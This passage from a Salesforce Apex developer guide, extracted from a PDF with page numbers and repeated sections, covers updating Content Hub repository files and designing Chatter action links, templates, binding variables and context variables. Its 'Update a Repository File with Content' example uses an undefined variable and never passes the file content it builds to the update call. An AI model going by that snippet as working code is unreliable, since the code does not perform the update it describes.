final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\',\n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
321
Chatter in Apex ExamplesUsing Salesforce Features with Apex
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
Update a Repository File with Content
This example calls updateRepositoryFile(repositoryId, repositoryFileId, file, fileData) to update
the content and metadata of a file in a repository. After the file is updated, we show the file’s ID, name, description, external URL, and
download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';
final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputNameDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputNameDesc.name = 'description';
fieldValueInputNameDesc.value = 'that updates the former description';
updatedItem.fields.add(fieldValueInputNameDesc);
//Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);
final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\',\n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
322
Chatter in Apex ExamplesUsing Salesforce Features with Apex
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
ConnectApi.BinaryInput Class
Chatter in Apex Features
This topic describes which classes and methods to use to work with common Chatter in Apex features.
You can also go directly to the ConnectApi Namespace reference content.
IN THIS SECTION:
Working with Action Links
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke
an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body
and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services
into the feed so that users can take action to drive productivity and accelerate innovation.
Working with Feeds and Feed Elements
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded
to include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract
class ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The
subset of properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed
elements are the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.
Accessing ConnectApi Data in Communities and Portals
Most ConnectApi methods work within the context of a single community.
Methods Available to Communities Guest Users
If your community allows access without logging in, guest users have access to many Chatter in Apex methods. These methods
return information the guest user has access to.
Working with Action Links
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
Workflow
This feed item contains one action link group with one visible action link, Join.
323
Chatter in Apex FeaturesUsing Salesforce Features with Apex
The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.
Use these methods to work with action links:
TaskConnectApi Method
Create an action link group definition. To associate an action link
group with a feed element, first create an action link group
ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup)
ActionLinks.deleteActionLinkGroupDefinition(communityId,
actionLinkGroupId)
definition. Then post a feed element with an associated actions
capability.
ActionLinks.getActionLinkGroupDefinition(communityId,
actionLinkGroupId)
Post a feed element with an associated actions capability. Associate
up to 10 action link groups with a feed element.
ChatterFeeds.postFeedElement(communityId,
feedElement)
Get information about an action link, including state for the context
user.
ActionLinks.getActionLink(communityId,
actionLinkId)
Get information about an action link group including state for the
context user.
ActionLinks.getActionLinkGroup(communityId,
actionLinkGroupId)
Get diagnostic information returned when an action link executes.
Diagnostic information is given only for users who can access the
action link.
ActionLinks.getActionLinkDiagnosticInfo(communityId,
actionLinkId)
324
Chatter in Apex FeaturesUsing Salesforce Features with Apex
TaskConnectApi Method
Get the feed elements from a specified feed type. If a feed element
has action links associated with it, the action links data is returned
in the feed element’s associated actions capability.
ChatterFeeds.getFeedElementsFromFeed()
IN THIS SECTION:
Action Links Overview, Authentication, and Security
Learn about Apex action links security, authentication, labels, and errors.
Action Links Use Case
Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce
or third-party API. An action link can also download a file or open a Web page. This topic contains an example use case.
Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Action Links Overview, Authentication, and Security
Learn about Apex action links security, authentication, labels, and errors.
Workflow
This feed item contains one action link group with one visible action link, Join.
325
Chatter in Apex FeaturesUsing Salesforce Features with Apex
The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.
Action Link Templates
Create action link templates in Setup to instantiate action link groups with common properties. You can package templates and distribute
them to other Salesforce organizations.
Specify binding variables in the template and set the values of the variables when you instantiate the action link group. For example,
use a binding variable for the API version number, a user ID, or an OAuth token.
You can also specify context variables in the templates. When a user executes the action link, Salesforce provides values for these variables,
such as who executed the link and in which organization.
To instantiate the action link group, call the ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) method. Specify the template ID and the values for any binding variables defined in the template.
See Design Action Link Templates.
Type of Action Links
Specify the action link type in the actionType property when you define an action link.
There are four types of action links:
•Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or
FailedStatus based on the HTTP status code returned by your server.
•ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state until
a third party makes a request to /connect/action-links/actionLinkId to set the status to SuccessfulStatus
or FailedStatus when the asynchronous operation is complete.
•Download—The action link downloads a file from the action URL.
•Ui—The action link takes the user to a Web page at the action URL.
Authentication
When you define an action link, specify a URL (actionUrl) and the HTTP headers (headers) required to make a request to that
URL.
If an external resource requires authentication, include the information wherever the resource requires.
If a Salesforce resource requires authentication, you can include OAuth information in the HTTP headers or you can include a bearer
token in the URL.
Salesforce automatically authenticates these resources:
•Relative URLs in templates
•Relative URLs beginning with /services/apexrest when the action link group is instantiated from Apex
Don’t use these resources for sensitive operations.
326
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Security
HTTPS
The action URL in an action link must begin with https:// or be a relative URL that matches one of the rules in the Authentication
section.
Encryption
API details are stored with encryption, and obfuscated for clients.
The actionURL, headers, and requestBody data for action links that are not instantiated from a template are encrypted
with the organization’s encryption key. The Action URL, HTTP Headers, and HTTP Request Body for an action link
template are not encrypted. The binding values used when instantiating an action link group from a template are encrypted with
the organization’s encryption key.
Action Link Templates
Only users with “Customize Application” user permission can create, edit, delete, and package action link templates in Setup.
Don’t store sensitive information in templates. Use binding variables to add sensitive information when you instantiate the action
link group. After the action link group is instantiated, the values are stored in an encrypted format. See Define Binding Variables.
Connected Apps
When creating action links via a connected app, it's a good idea to use a connected app with a consumer key that never leaves your
control. The connected app is used for server-to-server communication and is not compiled into mobile apps that could be decompiled.
Expiration Date
When you define an action link group, specify an expiration date (expirationDate). After that date, the action links in the group
can’t be executed and disappear from the feed. If your action link group definition includes an OAuth token, set the group’s expiration
date to the same value as the expiration date of the OAuth token.
Action link templates use a slightly different mechanism for excluding a user. See Set the Action Link Group Expiration Time.
Exclude a User or Specify a User
Use the excludeUserId property of the action link definition input to exclude a single user from executing an action.
Use the userId property of the action link definition input to specify the ID of a user who alone can execute the action. If you
don’t specify a userId property or if you pass null, any user can execute the action. You can’t specify both excludeUserId
and userId for an action link
Action link templates use a slightly different mechanism for excluding a user. See Set Who Can See the Action Link.
Read, Modify, or Delete an Action Link Group Definition
There are two views of an action link and an action link group: the definition, and the context user’s view. The definition includes
potentially sensitive information, such as authentication information. The context user’s view is filtered by visibility options and the
values reflect the state of the context user.
Action link group definitions can contain sensitive information (such as OAuth tokens). For this reason, to read, modify, or delete a
definition, the user must have created the definition or have “View All Data” permission. In addition, in Chatter REST API, the request
must be made via the same connected app that created the definition. In Apex, the call must be made from the same namespace
that created the definition.
Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
327
Chatter in Apex FeaturesUsing Salesforce Features with Apex
The context variables are:
DescriptionContext Variable
The ID of the action link the user executed.{!actionLinkId}
The ID of the action link group containing the action link the user
executed.
{!actionLinkGroupId}
The ID of the community in which the user executed the action
link. The value for your internal organization is the empty key
"000000000000000000".
{!communityId}
The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".
{!communityUrl}
The ID of the organization in which the user executed the action
link.
{!orgId}
The ID of the user that executed the action link.{!userId}
Versioning
To avoid issues due to upgrades or changing functionality in your API, we recommend using versioning when defining action links. For
example, the actionUrl property in the ConnectApi.ActionLinkDefinitionInput Class should look like
https://www.example.com/api/v1/exampleResource.
You can use templates to change the values of the actionUrl, headers, or requestBody properties, even after a template is
distributed in a package. For example, if you release a new API version that requires new inputs, an admin can change the inputs in the
action link template in Setup and even action links already associated with a feed element will use the new inputs. However, you can’t
add new binding variables to a published action link template.
If your API isn’t versioned, you can use the expirationDate property of the
ConnectApi.ActionLinkGroupDefinitionInput Class to avoid issues due to upgrades or changing functionality
in your API. See Set the Action Link Group Expiration Time.
Errors
Use the Action Link Diagnostic Information method (ActionLinks.getActionLinkDiagnosticInfo(communityId,
actionLinkId)) to return status codes and errors from executing Api action links. Diagnostic info is given only for users who can
access the action link.
Localized Labels
Action links use a predefined set of localized labels specified in the labelKey property of the
ConnectApi.ActionLinkDefinitionInput Class request body and the Label field of an action link template.
For a list of labels, see Action Links Labels.
328
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Note: If none of the label key values make sense for your action link, specify a custom label in the Label field of an action link
template and set Label Key to None. However, custom labels aren’t localized.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Action Links Use Case
Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce or
third-party API. An action link can also download a file or open a Web page. This topic contains an example use case.
Start a Video Chat from the Feed
Suppose you work as a Salesforce developer for a company that has a Salesforce organization and an account with a fictional company
called “VideoChat.” Users have been saying they want to do more from Salesforce1. You’re asked to create an app that lets users create
and join video chats directly from Salesforce1.
When a user opens the VideoChat app in Salesforce1, they’re asked to name the video chat room and invite either a group or individual
users to the video chat room. When the user clicks OK, the VideoChat app launches the video chat room and posts a feed item to the
selected group or users asking them to Please join the video chat by clicking an action link labeled Join. When an invitee clicks Join,
the action link opens a web page containing the video chat room.
As a developer thinking about how to create the action link URL, you come up with these requirements:
1. When a user clicks Join, the action link URL has to open the video chat room they were invited to.
2. The action link URL has to tell the video chat room who’s joining.
To dynamically create the action link URLs, you create an action link template in Setup.
329
Chatter in Apex FeaturesUsing Salesforce Features with Apex
For the first requirement, you create a {!Bindings.roomId} binding variable in the Action URL template field. When the
Salesforce1 user clicks OK to create the video chat room, your Apex code generates a unique room ID. The Apex code uses that unique
room ID as the binding variable value when it instantiates the action link group, associates it with the feed item, and posts the feed item.
For the second requirement, the action link must include the user ID. Action links support a predefined set of context variables. When
an action link is invoked, Salesforce substitutes the variables with values. Context variables include information about who clicked the
action link and in what context it was invoked. You decide to include a {!userId} context variable in the Action URL so that
when a user clicks the action link in the feed, Salesforce substitutes the user’s ID and the video chat room knows who’s entering.
This is the action link template for the Join action link:
Every action link must be associated with an action link group. The group defines properties shared by all the action links associated
with it. Even if you’re using a single action link (as in this example) it must be associated with a group. The first field of the action link
template is Action Link Group Template, which in this case is Video Chat, which is the action link group template the
action link template is associated with:
330
Chatter in Apex FeaturesUsing Salesforce Features with Apex
.
Action Link Templates
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal Edition.
Create action link templates in Setup so that you can instantiate action link groups with common
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations.
An action link is a button on a feed element. Clicking an action link can take a user to a Web page,
initiate a file download, or invoke an API call to Salesforce or to an external server. An action link
includes a URL and an HTTP method, and can include a request body and header information, such
as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services
into the feed so that users can take action to drive productivity and accelerate innovation.
In this example, Approve and Reject are action links that make API calls to the REST API of a fictional
travel website to approve or reject an itinerary. When Pam created the itinerary on the travel website, the travel website made a Chatter
REST API request to post the feed item with the action links to Pam’s manager Kevin so that he can approve or reject the itinerary.
Important: Action links are a developer feature. Although you create action link templates in Setup, you must use Apex or Chatter
REST API to generate action links from templates and add them to feed elements.
IN THIS SECTION:
Design Action Link Templates
Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
Create Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
Edit Action Link Templates
You can edit all fields on an unpublished action link group template and on its associated action link templates.
331
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Delete Action Link Group Templates
When you delete an action link group template, you delete its associated action link templates and all action link groups that have
been instantiated from the templates. Deleted action link groups disappear from any feed elements they've been associated with.
Package Action Link Templates
Package action link templates to distribute them to other Salesforce organizations.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
Design Action Link Templates
Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
•Action Link Templates Overview
•Template Design Considerations
•Set the Action Link Group Expiration Time
•Define Binding Variables
•Set Who Can See the Action Link
•Use Context Variables
Action Link Templates Overview
Here’s an action link group template in Setup:
Each action link group should contain at least one action link. This example action link template has three binding variables: the API
version number in the Action URL, the Item Number in the HTTP Request Body, and the OAuth token value in the HTTP
Header field.
332
Chatter in Apex FeaturesUsing Salesforce Features with Apex
The Chatter REST API request to instantiate the action link group and set the values of the binding variables:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings":[
{
"key":"ApiVersion",
"value":"v1.0"
},
{
"key":"ItemNumber",
"value":"8675309"
},
{
"key":"BearerToken",
"value":"00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR"
}
]
}
333
Chatter in Apex FeaturesUsing Salesforce Features with Apex
This is the Apex code that instantiates the action link group from the template and sets the values of the binding variables:
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Add binding name-value pairs to a map.
Map<String,String> bindingMap = new Map<String,String>();
bindingMap.put('ApiVersion','1.0');
bindingMap.put('ItemNumber','8675309');
bindingMap.put('BearerToken',
'00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR');
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
Template Design Considerations
Considerations for designing a template:
•Determine the expiration time of the action link group.
See Set the Action Link Group Expiration Time.
•Define binding variables in the template and set their values when you instantiate the group. Don’t store sensitive information in
templates. Use binding variables to add sensitive information at run time.
See Define Binding Variables.
•Determine who can see the action link when it’s associated with a feed element.
Set Who Can See the Action Link.
•Use context variables in the template to get information about the execution context of the action link.
When the action link executes, Salesforce fills in the values and sends them in the HTTP request. See Use Context Variables.
334
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Set the Action Link Group Expiration Time
When creating an action link group from a template, the expiration date can be calculated based on a period provided in the template,
or the action link group can be set not to expire at all.
To set the hours until expiration in a template, enter a value in the Hours until Expiration field of the action link group
template. This value is the number of hours from when the action link group is instantiated until it's removed from associated feed
elements and can no longer be executed. The maximum value is 8760, which is 365 days.
To set the action link group expiration date when you instantiate it, set the expirationDate property of either the Action Link
Group Definition request body (Chatter REST API) or the ConnectApi.ActionLinkGroupDefinition input class (Apex).
To create an action link group that doesn’t expire, don’t enter a value in the Hours until Expiration field of the template
and don’t enter a value for the expirationDate property when you instantiate the action link group.
Here’s how expirationDate and Hours until Expiration work together when creating an action link group from a
template:
•If you specify expirationDate, its value is used in the new action link group.
•If you don’t specify expirationDate and you specify Hours until Expiration in the template, the value of Hours
until Expiration is used in the new action link group.
•If you don’t specify expirationDate or Hours until Expiration, the action link groups instantiated from the template
don’t expire.
Define Binding Variables
Define binding variables in templates and set their values when you instantiate an action link group.
Important: Don’t store sensitive information in templates. Use binding variables to add sensitive information at run time. When
the value of a binding is set, it is stored in encrypted form in Salesforce.
You can define binding variables in the Action URL, HTTP Request Body, and HTTP Headers fields of an action link
template. After a template is published, you can edit these fields, you can move binding variables between these fields, and you can
delete binding variables. However, you can’t add new binding variables.
Define a binding variable’s key in the template. When you instantiate the action link group, specify the key and its value.
Binding variable keys have the form {!Bindings.key}.
The key supports Unicode characters in the predefined \w character class:
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}].
This Action URL field has two binding variables:
https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}
This HTTP Headers field has two binding variables:
Authorization: OAuth {!Bindings.OAuthToken}
Content-Type: {!Bindings.ContentType}
Specify the keys and their values when you instantiate the action link group in Chatter REST API:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings" : [
335
Chatter in Apex FeaturesUsing Salesforce Features with Apex
{
"key":"ApiVersion",
"value":"1.0"
},
{
"key":"ItemId",
"value":"8675309"
},
{
"key":"OAuthToken",
"value":"00DRR0000000N0g_!..."
},
{
"key":"ContentType",
"value":"application/json"
}
]
}
Specify the binding variable keys and set their values in Apex:
Map<String,String> bindingMap = new Map<String,String>();
bindingMap.put('ApiVersion','1.0');
bindingMap.put('ItemId','8675309');
bindingMap.put('OAuthToken','00DRR0000000N0g_!...');
bindingMap.put('ContentType','application/json');
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs =
new List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Define the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput =
new ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = '07gD00000004C9r';
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
Tip: You can use the same binding variable multiple times in action link templates, and only provide the value once during
instantiation. For example, you could use {!Bindings.MyBinding} twice in the HTTP Request Body field of one
action link template, and again in the HTTP Headers of another action link template within the same action link group
template, and when you instantiate an action link group from the template, you would need to provide only one value for that
shared variable.
336
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Set Who Can See the Action Link
Choose a value from the User Visibility drop-down list to determine who can see the action link after it’s associated with a feed element.
Among the available options are Only Custom User Can See and Everyone Except Custom User Can See. Choose one of these values to
allow only a specific user to see the action link or to prevent a specific user from seeing it. Then enter a value in the Custom User
Alias field. This value is a binding variable key. In the code that instantiates the action link group, use the key and specify the value
as you would for any binding variable.
This template uses the Custom User Alias value Invitee:
When you instantiate the action link group, set the value just like you would set a binding variable:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings" : [
{
"key":"Invitee",
"value":"005D00000017u6x"
337
Chatter in Apex FeaturesUsing Salesforce Features with Apex
}
]
}
If the template uses Only creator’s manager can see, a user that doesn’t have a manager receives an error when instantiating an action
link group from the template. In addition, the manager is the manager at the time of instantiation. If the user’s manager changes after
instantiation, that change isn’t reflected.
Use Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
These are the available context variables:
DescriptionContext Variable
The ID of the action link the user executed.{!actionLinkId}
The ID of the action link group containing the action link the user
executed.
{!actionLinkGroupId}
The ID of the community in which the user executed the action
link. The value for your internal organization is the empty key
"000000000000000000".
{!communityId}
The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".
{!communityUrl}
The ID of the organization in which the user executed the action
link.
{!orgId}
The ID of the user that executed the action link.{!userId}
For example, suppose you work for a company called Survey Example and you create an app for the Salesforce AppExchange called
Survey Example for Salesforce. Company A has Survey Example for Salesforce installed. Let’s imagine that someone from company
A goes to surveyexample.com and makes a survey. Your Survey Example code uses Chatter REST API to create a feed item in
Company A’s Salesforce organization with the body text Take a survey, and an action link with the label OK.
This UI action link takes the user from Salesforce to a web page on surveyexample.com to take a survey.
If you include a {!userId} context variable in either the HTTP Request Body or the Action URL for that action link, when
a user clicks the action link in the feed, Salesforce sends the ID of the user who clicked in the HTTP request it makes to your server.
If you include an {!actionLinkId} context variable in the Survey Example server-side code that creates the action link, Salesforce
sends an HTTP request with the ID of the action link and you can save that to your database.
This example includes the {!userId} context variable in the Action URL in the action link template:
338
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Tip: Binding variables and context variables can be used in the same field. For example, this action URL contains a binding variable
and a context variable:
https://www.example.com/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
339
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Create Action Link Templates
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.
USER PERMISSIONS
To create action link group
templates:
•“Customize Application”
To create action link
templates:
•“Customize Application”
Create action link templates in Setup so that you can instantiate action link groups with common
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations.
Note: In addition to creating action link templates in Setup, you can also use Metadata API,
SOAP API, and REST API to create action link templates.
The Action URL, HTTP Request Body, and HTTP Headers fields support binding
variables and context variables. Define binding variables in a template and set their values when
you instantiate the action link group. Use context variables in a template and when an action link
executes, Salesforce fills in the value and returns it in the request. For information about how to
use these variables in a template, see Design Action Link Templates.
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
2. Click New.
3. Enter the Name of the template. This name is displayed in the list of action link group templates.
This is the only action link group template value you can edit after the action link group template
has been published.
4. Enter the Developer Name. Use the Developer Name to refer to this template from code. It defaults to a version of the
Developer Name without spaces. Only letters, numbers, and underscores are allowed.
5. Select the Category, which indicates where to display the instantiated action link groups on feed elements. Primary displays
action link groups in the body of feed elements. Overflow displays action link groups in the overflow menu of feed elements.
If an action link group template is Primary, it can contain up to three action link templates. If an action link group template is Overflow,
it can contain up to four action link templates.
6. Select the number of Executions Allowed, which indicates how many times the action link groups instantiated from this
template can be executed. (Action links within a group are mutually exclusive.) If you choose Unlimited, the action links in the group
cannot be of type Api or ApiAsync.
7. (Optional) Enter the Hours until Expiration, which is the number of hours from when the action link group is created
until it's removed from associated feed elements and can no longer be executed. The maximum value is 8760.
See Set the Action Link Group Expiration Time.
8. Click Save.
9. Click New to create an action link template.
The action link template is automatically associated with an action link group template in a master-detail relationship.
10. Select the Action Type.
Values are:
•Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or
FailedStatus based on the HTTP status code returned by your server.
•ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state
until a third party makes a request to /connect/action-links/actionLinkId to set the status to
SuccessfulStatus or FailedStatus when the asynchronous operation is complete.
•Download—The action link downloads a file from the action URL.
•Ui—The action link takes the user to a Web page at the action URL.
340
Chatter in Apex FeaturesUsing Salesforce Features with Apex
11. Enter an Action URL, which is the URL for the action link.
For a UI action link, the URL is a Web page. For a Download action link, the URL is a link to a file to download. For an Api action
link or an ApiAsync action link, the URL is a REST resource.
Links to resources hosted on Salesforce servers can be relative, starting with a /. All other links must be absolute and start with
https://. This field can contain binding variables in the form {!Bindings.key}, for example,
https://www.example.com/{!Bindings.itemId}. Set the binding variable’s value when you instantiate the action
link group from the template, as in this Chatter REST API example, which sets the value of itemId to 8675309.
POST /connect/action-link-group-definitions
{
"templateId" : "07gD00000004C9r",
"templateBindings" : [
{
"key":"itemId",
"value": "8675309"
}
]
}
This field can also contain context variables. Use context variables to pass information about the user who executed the action link
to your server-side code. For example, this action link passes the user ID of the user who clicked on the action link to take a survey
to the server hosting the survey.
actionUrl=https://example.com/doSurvey?surveyId=1234&salesforceUserId={!userId}
12. Enter the HTTP Method to use to make the HTTP request.
13. (Optional) If the Action Type is Api or ApiAsync, enter an HTTP Request Body.
This field can contain binding variables and context variables.
14. (Optional) If the Action Type is Api or ApiAsync, enter HTTP Headers.
This field can contain binding variables and context variables.
If an action link instantiated from the template makes a request to a Salesforce resource, the template must have a Content-Type
header.
15. (Optional) To make this action link the default link in the group (which has special formatting in the UI), select Default Link
in Group. There can be only one default link in a group.
16. (Optional) To display a confirmation dialog to the user before the action link executes, select Confirmation Required.
17. Enter the relative Position of the action link within action link groups instantiated from this template. The first position is 0.
18. Enter the Label Key. This value is the key for a set of UI labels to display for these statuses: NewStatus, PendingStatus,
SuccessfulStatus, FailedStatus.
For example, the Post set contains these labels: Post, Post Pending, Posted, Post Failed. This image shows an action link with
the Post label key when the value of status is SuccessfulStatus:
341
Chatter in Apex FeaturesUsing Salesforce Features with Apex
19. (Optional) If none of the Label Key values make sense for the action link, set Label Key to None and enter a value in the
Label field.
Action links have four statuses: NewStatus, PendingStatus, SuccessStatus, and FailedStatus. These strings are appended to the label
for each status:
•label
•label Pending
•label Success
•label Failed
For example, if the value of label is “See Example,” the values of the four action link states are: See Example, See Example Pending,
See Example Success, and See Example Failed.
An action link can use either a LabelKey or Label to generate label names, it can’t use both.
20. Select User Visibility, which indicates who can see the action link group.
If you select Only creator’s manager can see, the manager is the creator’s manager when the action link group is instantiated. If
the creator’s manager changes after the action link group is instantiated, that change is not reflected.
21. (Optional) If you selected Only Custom User Can See or Everyone Except Custom User Can See, enter a Custom User Alias.
Enter a string and set its value when you instantiate an action link group, just like you would set the value for a binding variable.
However don’t use the binding variable syntax in the template, just enter a value. For example, you could enter ExpenseApprover.
This Chatter REST API example sets the value of ExpenseApprover to 005B0000000Ge16:
POST /connect/action-link-group-definitions
{
"templateId" : "07gD00000004C9r",
342
Chatter in Apex FeaturesUsing Salesforce Features with Apex
"templateBindings" : [
{
"key":"ExpenseApprover",
"value": "005B0000000Ge16"
}
]
}
22. To create another action link template for this action link group template, click Save & New.
23. If you’re done adding action link templates to this action link group template, click Save.
24. To publish the action link group template, click Back to List to return to the Action Link Group Template list view.
Important: You must publish a template before you can instantiate an action link group from it in Apex or Chatter REST API.
25. Click Edit for the action link group template you want to publish.
26. Select Published and click Save.
SEE ALSO:
Working with Action Links
